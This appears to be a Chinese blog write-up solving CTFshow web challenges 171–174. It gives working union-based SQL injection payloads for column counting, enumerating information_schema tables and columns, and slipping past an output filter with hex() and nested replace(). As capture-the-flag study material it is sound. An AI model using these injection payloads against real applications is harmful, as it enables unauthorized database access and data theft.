Web 171

打开发现以下内容。

看到了一个查询语句,于是认真看了一下。

//拼接sql语句查找指定ID用户$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接传入1,代码会变成

select username,password from user where username !='flag' and id ='1' limit 1;

这样可以查询到,但当我输入1‘时就不行了。

仔细看当我输入的是1’时,语句会变成

select username,password from user where username !='flag' and id ='1'' limit 1;

1后边会变成两个单引号,语句不规范,显示错误。

我们在后面加个注释符,即变成id=1'--+(+相当于空格的作用)

这时语句会变成

select username,password from user where username !='flag' and id ='1'

后边的一部分会被注释掉。

之后就可以接入我们需要的语句。

利用union语句来连接查询一下数据库的名字。

1' union select database(),2,3 --+

在前边加一个负号来把查询id回显的数据给置空。

然后查询表名,可以用group_concat函数,它可以把相同行的数据都组合起来。

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

roup_concat函数的功能.   将group by产生的同一个分组中的值连接起来,返回一个字符串结果。.   group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。

查询到表名,然后查询列名。

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

一个一个尝试查询,最后在password找到flag。

-1' union select password,2,3 from ctfshow_user --+

Web 172

利用order by查询有几列。

当输入到

1' order by 2 --+

之后就发现不成功,所以有两列

然后查询数据库名

1' union select database(),1 --+

再查询表名:

-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+

有两个表,一个一个试一下。

第一个

-1' union select password,1 from ctfshow_user --+

第二个

-1' union select password,1 from ctfshow_user2 --+

Web 173

多了一个正则绕过
//检查结果是否有flagif(!preg_match('/flag/i', json_encode($ret))){$ret['msg']='查询成功';}
但好像没什莫关系。
先查有几列。
1' order by 3 --+
之后就不会再显示所以有三列。
然后就和上两题一样。
最后发现表名到了一个ctfshow_user3

然后直接查询了
-1' union select password,1,2 from ctfshow_user3 --+

Web 174
刚进入发现和173一摸一样,有点意外,试着写了一下发现我进错了。
之后又点了一下才出来了。


这次过滤多了一点。

看了一位师傅不一样的解法。

这位师傅用了替换的思路将1-0数字用q~p替换,但本来的flag中一定也会有一些小写字母,这样的话就没办法分辨那个是原本的字母哪个是替换出来的。

所以为了避免这个问题,将password首先hex一下,因为hex()函数的返回值中字母都是大写的,所以我们返回结果中的小写字母就是原来的数字,而大写字母就是原本的字符。

这个虽然说比较麻烦,但也是一种很好的解题思路。

Payload:

1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+

到最后将小写字母替换然后16进制转换一下。

看了许多解法一般都是利用python脚本写出来的。

ctfshow web171-174相关推荐

  1. CTFshow sql注入 上篇(web171-220)

    目录 前言 题目 web 171(万能密码) web 172(回显内容过滤,base64或者hex编码绕过) web 173(回显内容过滤,base64或者hex编码绕过) web 174 (布尔盲注 ...

  2. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

  3. CTFSHOW WEB入门

    ----------信息搜集---------- 源码泄露 查看源码即可 前台JS绕过 直接开发者工具查看源码 当然也可以抓包查看 也可以禁用js查看源码 协议头信息泄露 或者抓一下包也可 robot ...

  4. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  5. ctfshow sql注入 web171-web253 wp

    文章目录 参考文章 sql注入 web171 web172 web173 web174 web175 解法一 解法二 web176 web177 web178 web179 web180-web182 ...

  6. ctfshow刷题日记sql注入篇

    web 171 没有任何过滤那应该在这张表里面,直接用 1'or'1'='1即可拿到表单的所有信息 (也可以直接查询) web 172 添加了限制条件,上面的不能用了,还是单引号闭合,直接联合查询 最 ...

  7. ctfshow SQL注入Web171-174

    42022/4/24 SQL注入 Web171 语法:查询表中的数据 查询所有行 命令: select <字段1,字段2,...> from < 表名 > where < ...

  8. 【ctfshow】web篇-SQL注入 wp

    前言 记录web的题目wp,慢慢变强,铸剑. SQL注入 web171 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过 //拼接sql语句查找指定ID用户 $sql = "s ...

  9. ctfshow web入门 sql注入

    无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...

  10. Python需求增速达174%,AI人才缺口仍超百万!这份来自2017年的实际招聘数据如是说

    整理 | 明明 要说2017年什么最火,恐怕非人工智能莫属了. 对于这个新兴起的行业来说,它还有巨大的潜力,未来还将引领很长一段时间潮流.此时,若你要转型成为AI人才,那么很高兴的告诉你,你选对了这一 ...

最新文章

  1. c语言指针要点,C语言指针的重点有哪些?
  2. android 释放 so,这 10 个值得开启的隐藏功能,让你的 Chrome 释放更多潜力
  3. TCP的三次握手、四次挥手,干货满满!
  4. PHP如何验证以太坊签名
  5. 【云炬大学生创业基础笔记】第1章第2节关于什么是创客的讨论
  6. React开发(177):opentab没有menu会报错
  7. 虚拟机下安装vmtool
  8. NYOJ-拦截导弹(dp)
  9. 国家电网考试计算机基础知识,大学计算机基础(国家电网考试整理)
  10. html svg矩形添加文字,SVG 矩形
  11. tplink710n无线打印服务器,tplink710n设置
  12. python获取电脑屏幕分辨率
  13. 开启docker远程访问
  14. jupyter notebook的安装与启动
  15. 【转】Maximal Information Coefficient (MIC)最大互信息系数详解与实现
  16. 数据分析实战二:爬取淘宝商品详情页进行分析
  17. 【无人机】【2011】直升机无人机的最优控制
  18. Jsp制作企业后台数据库管理系统
  19. 嵌入式Linux配置内核后编译过程中报未定义引用错误的解决
  20. 安卓listview默认布局总结

热门文章

  1. 理工男学计算机,案例分享 | 一名“理工男”的春天
  2. Amazon Personalize 个性化效果评估,从准确性到多样性、新颖性和偶然性
  3. 2020-12-3 QQ通讯录(不完整内容)
  4. java变量定义规则说法正确_下列变量命名规范说法正确的是( )。
  5. 搜索引擎Solr环境搭建详解
  6. [Usaco2007 Nov]tanning分配防晒霜
  7. C语言趣味问题系列【1】 猜牌术
  8. 泡泡堂、QQ堂游戏通信架构分析 zz
  9. 业务高速增长场景下的稳定性建设实战
  10. 如何举报可疑的Android应用